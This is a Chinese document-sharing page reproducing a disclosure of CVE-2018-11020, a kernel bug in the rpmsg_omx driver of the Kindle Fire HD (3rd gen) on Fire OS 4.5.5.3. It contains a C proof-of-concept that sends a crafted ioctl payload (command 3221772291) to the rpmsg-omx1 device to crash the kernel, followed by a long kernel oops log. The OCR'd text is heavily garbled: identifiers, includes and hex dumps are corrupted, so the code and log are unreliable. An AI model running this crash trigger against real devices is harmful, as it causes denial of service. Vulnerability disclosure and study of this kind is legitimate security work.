《（CVE-2018-11020）Amazon Kindle Fire HD (3rd) Fire OS kernel组件安全漏洞.docx》由会员分享，可在线阅读，更多相关《（CVE-2018-11020）Amazon Kindle Fire HD (3rd) Fire OS kernel组件安全漏洞.docx（10页珍藏版）》请在课桌文档上搜索。
1、(CVE-2018-11020) Amazon Kindle Fire HD (3rd) Fire OS kernel 组件安全漏洞一、漏洞简介Amazon Kindle Fire HD (3rd) Fire OS 4.5.5.3 内核组件中的内核模块 omapdriversrpmsgrpmsg_omx.c 允许攻击者通过设备文件/ dev / rpmsg上的 ioctl的参数注入特制的参数使用命令3221772291的omxl,并导致内核崩溃。要探索此漏洞，必须打开设备文件devrpmsg-omxl,并使用命令3221772291 和精心设计的有效负载作为第三个参数来对该设备文件进行ioct
2、l系统调用。二、漏洞影响Fire OS 4.5.5.3三、复现过程poc/* This is poc of Kindle Fire HD 3rd* A bug in the ioctl interface of device file devrpmsg-omxl causes t he system crash via IOCTL 3221772291.* Related buggy struct name is gcicommit.* This Poc should run with permission to do ioctl on devrpmsg-oml.* The fowllwing
3、 is kmsg of kernel crash infomation:*/#include #include #include #include const static char *driver = devrpmsg-omxl;static command = 3221772291;int main(int argc, char *argv, char *env) unsigned int payload = 0xb5dl8de2, 0f6e48al7j 09179c429, 089 a32e03 ;int fd = 0;fd = open(driverj O_RDWR);if (fd d
4、atalocaltmplog); return -1;printf(Try open %s with command 0%x.n, driver, command); printf(System will crash and reboot.n);if(ioctl(fdj command, Spayload) /data/IOCaItmplog);return -1;close(fd);return 0；崩溃日志146.290710Unable to handle kernel paging request at virtual address b5dl8de6146.299438pgd = d
5、72dc000146.302795b5dl8de6 *pgd=00000000146.307281Internal error: Oops: 5 #1 PREEMPT SMP ARM146.313232Modules linked in: omaplfb(0) pvrsrvkm(O) pvr_loggen(0)146.320983CPU: 0Tainted: GO (3.4.83-gd2afc0bae69 #1)146.328308 PC is at ion_free+0xc0xb4146.332672 LR is at rpmsg_omx_ioctl+0x2cc/0x598146.33789
6、0 pc : Ir : psr: 60000013146.337890 sp : c35b5e60 ip:c35b5e80 fp : c35b5e7c146.350860 rl0: c35b5ea8 r9:de88c4d8 r8 : c35b4000 f8146.356872 r7 : dd32b580 r6：00000003 r5 : d71d5880 r4 : be92f5 00146.364135 r3 : d71d58ec r2:d71d58ec rl : b5dl8de2 r0 : d7aaaa146.371551 Flags: nZCv IRQson FIQs on Mode SV
7、C_32 ISA ARM Segment user146.379516 Control: 10c5387d Table: 972dc04a DAC: 00000015146.386077146.386077 PC： 0xc02e84c0: 146.391052 84c0 0a000001 058 e2433001 e5853058e2871010ebfddc25ela00006eb0ee904e5953146.401580 84e0 e353000003f e285005c e5933cba000011Ia0009ela0200de3c23d7fe3c33146.412292 8500 e59
8、3723c006 eb0ee876 ela00005ela01007ebf90a76e597321ce585306cela00146.422821 8520 ebffffb4 00d e92dd878 e24cb004ela00004ebf8e011e89da8f0e7f001f2ela0c146.433502 8540 e5915004 006 eb0ee8e2 e5953010ela04001el550000la000021e2856014ela00146.444183 8560 e3530000008 e353000090a000005e243200cel5400022a00000ae5
9、933146.454864 8580 e59f0054 e3001219 006 eb0ee856 e89da878e59f2050 e59f3050 ebf58268 ela00146.465393 85a0 85933004 8affffed f93 e3320000 Iafffffa146.476074146.476074 LR: 0c048a0a0:f57ff05f el943f9f e2433001 el842 146.481048 a0a0 33a03000 e3530000 008 ela0000a ebf7305eIaffffae e24ba05c ela01004 e3a02
10、146.491729 a0c0 e3500000 Iaffffaa 000 e50b005c 0a000001e5950068 e51bl058 ebf97677 e3500146.502380 a0e0 e3700a01 9affffc8 018 eaffff8e ela00004e3a03000 e50b305c eaffffc5 e3e00146.513061 al00 ela0100a e3a02008 fc2 e5950068 ebf97904ebf73154 e3500000 0affff88 eafff146.523590 al20 eaffffb9 e24b005c 03c e
11、la03006 e58d2000e3a01030 ebf7398b e3a02030 e5970146.534240 al40 e59fl280 e59f2274 004 e7933101 e3530000ebf99069 e3e0000d eaffff78 e5933146.544921 al60 0affff6c e5950068 a01 8a00001f e5950068ebf97651 e2509000 0a000021 e3790146.555603 al80 ela01009 e24b206405c 0affff9b e59f322c146.566131146.566131 SP:
12、 0xc35b5de0:e24b3060 ebf97447 e3500000 050b9146.571228 5de0 00000004 d8cc50f4540 60000013 ffffffff60010013 00000001 00000001 c02e8146.581787 5e00 c35b5e4c c35b4000370 d7aaaa00 b5dl8de2c35b5e7c c35b5el8 C06a5318 C0008146.592437 5e20 d71d58ec d71d58ec580 c35b4000 de88c4d8be92f5f8 d71d5880 00000003 dd3
13、2b146.603118 5e40 c35b5ea8 c35b5e7c540 60000013 ffffffffc35b5e80 c35b5e60 C048al20 C02e8146.613830 5e60 d71d58ec be92f5f8 e80 C048al20 C02e8540d71d5880 00000003 c35b5f04 c35b5146.624389 5e80 c35b5edc c35b5e90 e40 c35b5ed4 c35b5ea8C0207454 C00bd920 0000001e d7333146.635070 5ea0 C00723a0 000fffff 001
14、00000000 C35b5fl4b5dl8de2 f6e48al7 00000002 00000146.645599 5ec0 00000000 00000001 ee0 c02089fc 00000000146.656158 146.656158 IP: 0xc35b5e00:de88c4d8 c25d7c00 c35b5efc c35b5146.661254 5e00 c35b5e4c c35b4000370 d7aaaa00 b5dl8de2c35b5e7c c35b5el8 C06a5318 C0008146.671936 5e20 d71d58ec d71d58ec580 c35b
15、4000 de88c4d8be92f5f8 d71d5880 00000003 dd32b146.682495 5e40 c35b5ea8 c35b5e7c540 60000013 ffffffffc35b5e80 c35b5e60 C048al20 C02e8146.693176 5e60 d71d58ec be92f5f8d71d5880 00000003 c35b5f04 c35b5e80 C048al20 C02e8540146.703704 Se80 c35b5edc c35b5e90 e40 c35b5ed4 c35b5ea8C0207454 C00bd920 0000001e d
16、7333146.714263 5ea0 C00723a0 000fffff 001 00000000 c35b5fl4b5dl8de2 f6e48al7 00000002 00000146.724914 5ec0 00000000 00000001 ee0 c02089fc 00000000de88c4d8 c25d7c00 c35b5efc c35b5146.735595 5ee0 d72400c0 00000004 000 C35b5f74 C35b5f08146.746276146.746276 FP: 0xc35b5dfc:d72400c0 be92f5f8 de88c4d8 0000
17、0146.751251 5dfc ffffffff c35b5e4c318 c008370 d7aaaa00c35b4000 c35b5e7c c35b5el8 C06a5146.761779 5elc b5dl8de2 d71d58ec 003 dd32b580 c35b4000d71d58ec be92f5f8 d71d5880 00000146.772308 5e3c de88c4d8 c35b5ea8120 C02e8540 60000013c35b5e7c c35b5e80 c35b5e60 c048a146.783020 5e5c ffffffff d71d58ec f04 c35
18、b5e80 C048al20be92f5f8 d71d5880 00000003 c35b5146.793701 Se7c C02e8540 c35b5edc 01e d7333e40 c35b5ed4C35b5e90 C0207454 C00bd920 00000146.804382 5e9c c35b5ea8 C00723a0 002 00000001 00000000000fffff b5dl8de2 f6e48al7 00000146.814941 5ebc c35b5fl4 00000000 efc c35b5ee0 c02089fc00000001 de88c4d8 c25d7c0
19、0 c35b5 146.825592 5edc 00000000 d72400c0 4d8 00000000 C35b5f74146.836242146.836242 R0: 0xd7aaa980:00000004 d72400c0 be92f5f8 de88c146.841217 a980 00000001 00000001 000 00000000 0000000000000000 00000000 00004007 00000146.851898 a9a0 00000020 000000009b4 d7aaa9b4 C0248d0000000000 00000000 00000300 d
20、7aaa 146.862518 a9c 00000093 00000093 000 00000000 000000000000005d 00000002 00000000 00000146.873077 a9e0 00000000 00000000 000 00000000 0000000000000000 00000000 00000000 00000146.883728 aa00 d763b780 00000000 001 00000000 0000000000000000 dabb480 00000000 00000146.894409 aa20 d7aaaa20 d7aaaa20440
21、 00000f30 dcd4f22000000000 00000105 C0903054 d7157 146.905090 aa40 00000093 00000003 000 00000000 0000000000000017 00000000 00000000 00000146.915618 aa60 00000000 00000000 000 00000000 00000000146.926300146.926300 R2: 0xd71d586c:00000000 00000000 00000000 00000146.931274 586c 00000000 000000005c8 dd
22、32b5c8 dd32b58000000000 00000000 00000000 dd32b146.941955 588c d71d588c d71d588c00000000 00000000 00000000 00000001 00000000 00000000146.952636 58ac d71d58acd71d58ac 00000000 00000000 00000000 d71d58c0 d71d58c0 00000000146.963287 58cc 0000000000000000 d71d58d4 d71d58d4 d7aaadc0 00000000 00000000 d7a
23、aaa00146.973815 58ec d71d58ecd71d58ec 00000000 00000000 00000000 00006a44 d71d5904 d71d5904146.984497 590c 00000003d7138510 d725b910 00000000 00000000 d6cf989c 00000001 00000000146.995147 592c 000000006149b660 6149b640 00001fe5 d71d593c d71d593c 00000000 00000000147.005676 594c 0000000000000000 0000
24、0000 00000000 00000000 00000000 00000000 00000000147.016357147.016357 R3: 0d71d586c:147.021453 586c 0000000000000000 00000000 00000000 00000000 dd32b5c8 dd32b5c8 dd32b580147.032012 588c d71d588cd71d588c 00000000 00000000 00000000 00000001 00000000 00000000147.042663 58ac d71d58acd71d58ac 00000000 00
25、000000 00000000 d71d58c0 d71d58c0 00000000147.053314 58cc 0000000000000000 d71d58d4 d71d58d4 d7aaadc0 00000000 00000000 d7aaaa00147.063873 58ec d71d58ecd71d58ec 00000000 00000000 00000000 00006a44 d71d5904 d71d5904147.074523 590c 00000003d7138510 d725b910 0000000。 00000000 d6cf989c 00000001 00000000
26、147.085205 592c 000000006149b660 6149b640 00001fe5 d71d593c d71d593c 00000000 00000000147.095886 594c 0000000000000000 00000000 00000000 00000000 00000000 00000000 00000000147.106414147.106445 R5: 0d71d5800: 147.111541 5800 d71d5d0000000000 00000000 dcfc4200 f0000009 00000211 00000001 00000001147.12
27、2070 5820 0000000000001000 00001000 00000004 00000000 d71d5844 C01519dc d89b54c0147.132751 5840 c01576accl0dc870 00001000 00000000 C0al0230 C0al0dc0 dlaldd58 C006f724147.143432 5860 0000000000000000 00000000 00000000 00000000 00000000 00000000 00000000147.154083 5880 dd32b5c8dd32b5c8 dd32b580 d71d58
28、8c d71d588c 00000000 00000000 00000000147.164611 58a0 0000000100000000 00000000 d71d58ac d71d58ac 00000000 00000000 00000000147.175140 58c0 d71d58c0d71d58c0 00000000 00000000 00000000 d71d58d4 d71d58d4 d7aaadc0147.185821 58e0 0000000000000000 d7aaaa00 d71d58ec d71d58ec 00000000 00000000 00000000147.
29、196472147.196502 R7： 0xdd32b500:147.201446 b500 e2401000f400f000 0202420f 0000C000 f400f000 dd071d20 00000000 d8f0a680147.212127 b520 d8fa74000000000 00000000 00000001 00000000 00000000 00000000 00000000147.222656 b540 0000000000000000 00000001 00000000 00000000 00000000 00000000 00000000147.233184
30、b560 0000000000000000 cl53f430 00001000 00000000 00000000 00000000 00000000147.243865 b580 00000000dd32b584 dd32b584 00000000 00000000 c0al6C60 00000000 00000002147.254547 b5a0 0000000100000000 c06faab0 de88c61c de88c61c 0f700001 00000001 d8caa000147.265075 b5c0 dd0f720000000001 d71d5880 d71d5880 00
31、000001 00000000 00000000 dd32b5dc147.275756 b5e0 dd32b5dc00000000 7fffffff 00000000 00000000 dd32b5f4 dd32b5f4 00000000147.286407147.286407 R8: 0xc35b3f80:147.291381 3f80 66eff96800000000 000000f0 C0013e08 C35b2000 00000000 00000000 c35b3fa8147.302032 3fa0 C0013c60C009al64 66eff978 66eff968 66eff978
32、 00000080 00000000 00000000147.312713 3fc0 66eff97866eff968 00000000 000000f0 00000000 00000000 00000000 41dlf6a8147.323272 3fe0 000000006716ebc8 400710f8 40083b80 600f0010 66eff978 00760061 00000061147.333923 4000 0000000000000002 00000000 d7157440 C0a0840 00000000 00000015 d726ee00147.344604 4020
33、d8d2c700c35b4000 c09ddc50 d7157440 d8db57c0 cl617b40 c35b5b4c c35b5a98147.355133 4040 C06a36e400000000 00000000 00000000 00000000 00000000 01000000 00000000147.365814 4060 0087d4c05ebfe27f 00000000 00000000 00000000 00000000 00000000 00000000147.376464147.376495 R9: 0xde88c458:147.381469 c458 de88c4
34、58de88c458 00000000 00000000 00000000 C06bc674 000200da C09dda58147.392150 c478 0000000000000000 de88c480 de88c480 00000000 de88c48c de88c48c 00000000147.402801 C498 5aefcde600000000 00000000 00000000 de88c4b0 28cfd730 00000000 00000000147.413330 c4b8 0020000000000000 00000000 de88c4c4 d688c4c4 d8cb
35、df00 d8cbdf00 00000000147.424011 c4d8 000521b000000402 00000402 00000000 00000000 00000000 C06b9600 ddl60400147.434661 c4f8 de88c5b0d8c81030 00000f98 00000001 0f700001 5aefcde6 199c82ca 5aefcde6147.445312 c518 199c82ca5aefcde6 199c82ca 00000000 00000000 00000000 00000000 00000000147.455871 C538 0000
36、0000 00000000 00000000 00000000 00000001 00000000 00000000 de88c554147.466522147.466522 R10: 0xc35b5e28:147.471588 5e28 be92f5f84d8 c35b5ea8 c35b5e7cd71d588000000003dd32b580c35b4000de88c147.482269 5e48 c35b5e80 fff d71d58ec be92f5f8c35b5e60C048al20C02e854060000013fffff147.492950 5e68 d71d5880540 c35
37、b5edc c35b5e9000000003C35b5f04c35b5e80C048al20C02e8147.503631 5e88 C0207454 ea8 C00723a0 000fffffC00bd9200000001ed7333e40c35b5ed4c35b5147.514160 5ea8 b5dl8de2f14 00000000 00000001f6e48al7000000020000000100000000c35b5147.524688 5ec8 de88c4d8 000 d72400c0 00000004c25d7c00c35b5efcc35b5ee0C02089fc000001
38、47.535339 5ee8 d72400c0 f08 C0136044 C0489e60be92f5f8de88c4d800000000C35b5f74c35b5147.546020 5f08 00000000190 dd5e7f68 c35b5f0c00000000000000000000000100000000dd055147.556579 Process rpmsg_omx_ioctl (pid: 3888j stack 42f8)147.564270 Stack: (0xc35b5e60 to 0c35b6000)limit = 0xc35b147.569213 5e60: d71d
39、58ec e80 C048al20 C02e8540be92f5f8d71d588000000003C35b5f04c35b5147.578430 5e80: c35b5edc e40 c35b5ed4 c35b5ea8c35b5e90C0207454C00bd9200000001ed7333147.587646 5ea0: C00723a0 001 00000000 C35b5fl4000fffffb5dl8de2f6e48al70000000200000147.596740 5ec0: 00000000 ee0 c02089fc 0000000000000001de88c4d8c25d7c
40、00c35b5efcc35b5147.605957 5ee0: d72400c0 000 C35b5f74 C35b5f0800000004d72400c0be92f5f8de88c4d800000147.615173 5f00: C0136044 001 00000000 dd055190C0489e6000000000000000000000000000000147.624389 5f20: dd5e7f68803 d72400c0 00000004c35b5f0cc35b4000be92f628be92f5f8C0085147.633483 5f40: c35b4000803 d7240
41、0C0 0000000400000000c35b5f6400000000be92f5f8C0085147.642730 5f60: c35b4000 fc4 00000000 0000000000000000C35b5fa4C35b5f78C01365e0C0135147.651947 5f80: 00000400 e08 00000000 c35b5fa8be92f62800010e540000000000000036C0013147.661010 5fa0: C0013c60803 be92f5f8 be92f5f8C0136578be92f62800010e5400000004C0085
42、147.670104 5fc0: be92f628 000 00000000 be92f61400010e5400000000000000360000000000000147.679321 5fe0: 00000000 004 00000017 579e6e78147.688537 Backtrace:be92f5dc000106900002917c6000001000000147.691558 (ion_free+0x00xb4) from (rpms g_omx_ioctl+0x2cc/0x598)-147.701049 r6:00000003 r5:d71d5880 r4:be92f5f
43、8 r3:d71d58ec147.708068 (rpmsg_omx_ioct1+0x0/0x598) from (do_vfs_ioctl+0x8c/0x5b4)147.717956 (do_vfs-ioctl+0005b4) from (sys_ioctl+0x74/0x84)147.727203 (sys-ioctl+00084) from (ret _fast_syscall+0x0/0x30) 147.736450r8:c0013e08 r7:00000036 r6:00000000 r5:00010e54 r4:be92f628147.744873147.754913147.754913147.754943147.754943147.754943147.754943147.754974147.754974147.754974147.755004147.794616147.799957147.805847147.808959147.812133Code: e7f001f2 ela0c00d e92dd878 e24cb004 (e5915004)Board Information:Revision : 00
